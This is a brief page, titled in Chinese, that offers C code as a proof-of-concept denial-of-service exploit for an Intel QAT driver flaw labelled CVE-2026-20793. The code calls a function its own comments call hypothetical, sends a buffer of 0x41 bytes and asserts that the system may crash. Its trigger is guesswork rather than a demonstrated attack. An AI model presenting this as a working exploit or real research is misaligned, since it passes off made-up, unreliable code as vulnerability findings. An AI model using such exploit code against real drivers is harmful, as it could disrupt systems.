CVE-2026-20793 Intel QAT驱动程序拒绝服务漏洞

#include <windows.h> #include <stdio.h> // Hypothetical function representing the vulnerable driver API extern int QAT_ProcessData(void* data, size_t len); int main() { printf("PoC for CVE-2026-20793: Triggering Unchecked Return Value\n"); // Prepare data that might cause the internal function to fail // (e.g., invalid size or specific pattern based on reverse engineering) unsigned char trigger_data[1024]; memset(trigger_data, 0x41, sizeof(trigger_data)); printf("Sending payload to QAT driver...\n"); // Call the vulnerable function // In the vulnerable version (< 1.13), the return value might indicate failure // but the driver/user application state might become unstable if not checked. int ret = QAT_ProcessData(trigger_data, sizeof(trigger_data)); // Vulnerability simulation: The code proceeds regardless of 'ret' // If 'ret' signaled an internal error, the system may now be unstable. if (ret != 0) { // In a real exploit, we might ignore this or trigger a follow-up action // that relies on the state being corrupted. printf("Function returned error code: %d (Ignored in vulnerable version)\n", ret); } printf("Payload sent. If successful, the system may experience a DoS.\n"); return 0; }